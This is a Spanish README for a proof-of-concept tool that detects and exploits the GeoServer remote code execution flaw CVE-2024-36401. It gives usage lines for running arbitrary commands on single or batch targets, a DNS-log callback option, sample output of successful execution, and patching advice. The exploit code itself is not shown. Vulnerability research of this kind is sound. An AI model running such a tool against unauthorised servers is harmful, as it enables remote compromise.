CVE-2024-36401_Geoserver_RCE_POC

⚠️ Aviso legal: Esta herramienta está destinada únicamente a la investigación de seguridad y a pruebas autorizadas legalmente. No la utilices con fines ilegales. El usuario asume toda la responsabilidad legal.

Versión del README: [English | 中文]

Descripción de la vulnerabilidad

Este script es una herramienta de detección PoC (Proof of Concept) desarrollada para la vulnerabilidad de ejecución remota de código (CVE-2024-36401) en GeoServer. Esta vulnerabilidad permite a un atacante ejecutar comandos arbitrarios en el servidor objetivo mediante la construcción de solicitudes específicas.

Dependencias del entorno

Asegúrate de que tu entorno de ejecución tenga instaladas las siguientes dependencias:

• Python 3.x
• Bibliotecas de terceros:
  • requests
  • lxml

Puedes instalar las dependencias necesarias con el siguiente comando:

pip install requests lxml

Instrucciones de uso

Detección de un único objetivo

python poc.py -u http://target.com -d dnslog.example.com

O especifica el comando a ejecutar:

python poc.py -u http://target.com -c "touch /tmp/vulntest"

Detección por lotes de múltiples objetivos

Prepara un archivo de texto que contenga varias URL objetivo (una por línea):

python poc.py -uf targets.txt -d dnslog.example.com

O especifica un comando:

python poc.py -uf targets.txt -c "id"

Documentación de uso detallada: Documentación de uso detallada

Descripción de parámetros

⚠️ Nota: los parámetros -d y -c no se pueden utilizar al mismo tiempo.

Ejemplo de salida

[INFO] 爬取到3个有效的 Typenames，开始漏洞探测
[INFO] 目标: http://example.com
[INFO] 执行命令: whoami
[INFO] DNSLOG地址:

[INFO] 正在尝试 typeName: topp:states -> whoami
[+] 命令疑似成功执行！目标: http://example.com 命令: whoami

Características del script

• Corrige el problema de la verificación fallida de la vulnerabilidad en el POC de Nuclei debido a que los Typenames estaban codificados de forma fija.
• Extrae automáticamente toda la información de los Typenames y prueba de forma iterativa los Typenames explotables.
• Admite la ejecución de comandos mediante el parámetro -c.
• Admite pasar un archivo de URL para probar por lotes si existe la vulnerabilidad.

Recomendaciones de seguridad

• Actualiza GeoServer a la última versión oficial lo antes posible.
• Aplica control de acceso a las instancias de GeoServer expuestas a Internet.
• Configura el firewall para restringir los orígenes de acceso a la interfaz /geoserver/wfs.

Contribuciones

Te invitamos a enviar un Issue o un Pull Request para ayudar a mejorar este proyecto.

Licencia

Este proyecto se distribuye bajo la licencia MIT. Puedes modificarlo, distribuirlo y utilizarlo comercialmente libremente, pero debes conservar el aviso de copyright.